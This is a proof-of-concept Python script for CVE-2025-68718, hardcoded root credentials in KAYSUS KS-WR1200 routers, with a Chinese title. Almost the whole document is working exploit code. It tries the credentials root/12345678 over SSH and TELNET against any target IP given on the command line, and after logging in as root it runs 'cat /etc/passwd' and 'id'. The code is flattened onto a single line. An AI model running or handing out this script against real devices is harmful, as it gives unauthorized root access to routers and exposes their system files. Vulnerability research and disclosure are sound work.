CVE-2025-68718 KAYSUS KS-WR1200路由器硬编码Root凭证漏洞

#!/usr/bin/env python3 """ CVE-2025-68718 PoC - KAYSUS KS-WR1200 Hardcoded Root Credentials This PoC demonstrates exploitation of hardcoded SSH/TELNET credentials on KAYSUS KS-WR1200 routers. """ import socket import paramiko import sys from getpass import getpass def check_ssh_vulnerability(target_ip, username='root', password='12345678'): """ Attempt SSH connection using hardcoded credentials """ print(f"[*] Attempting SSH connection to {target_ip}...") print(f"[*] Using credentials: {username}/{password}") try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(target_ip, port=22, username=username, password=password, timeout=10) print("[+] SSH connection successful! Authenticated as root.") # Execute test command stdin, stdout, stderr = ssh.exec_command('cat /etc/passwd') print("[+] Root access confirmed - /etc/passwd contents:") print(stdout.read().decode()) ssh.close() return True except paramiko.AuthenticationException: print("[-] Authentication failed") return False except socket.timeout: print("[-] Connection timeout - SSH service may not be available") return False except Exception as e: print(f"[-] Connection error: {str(e)}") return False def check_telnet_vulnerability(target_ip, username='root', password='12345678'): """ Attempt TELNET connection using hardcoded credentials """ print(f"\n[*] Attempting TELNET connection to {target_ip}...") print(f"[*] Using credentials: {username}/{password}") try: import telnetlib tn = telnetlib.Telnet(target_ip, 23, timeout=10) # Wait for login prompt tn.read_until(b'login: ', timeout=5) tn.write(username.encode() + b'\n') # Wait for password prompt tn.read_until(b'Password: ', timeout=5) tn.write(password.encode() + b'\n') # Check for successful login result = tn.read_until(b'#', timeout=5) if b'#' in result or b'$' in result: print("[+] TELNET connection successful! Authenticated as root.") tn.write(b'id\n') print(tn.read_until(b'\n').decode()) tn.close() return True else: print("[-] Authentication failed") tn.close() return False except Exception as e: print(f"[-] TELNET error: {str(e)}") return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-68718.py <target_ip>") sys.exit(1) target = sys.argv[1] print(f"[*] CVE-2025-68718 PoC - KAYSUS KS-WR1200 Hardcoded Credentials\n") print(f"[*] Target: {target}\n") # Try SSH ssh_result = check_ssh_vulnerability(target) # Try TELNET telnet_result = check_telnet_vulnerability(target) if ssh_result or telnet_result: print("\n[!] VULNERABLE - Hardcoded credentials are valid!") sys.exit(0) else: print("\n[-] Target may not be vulnerable or service not available") sys.exit(1)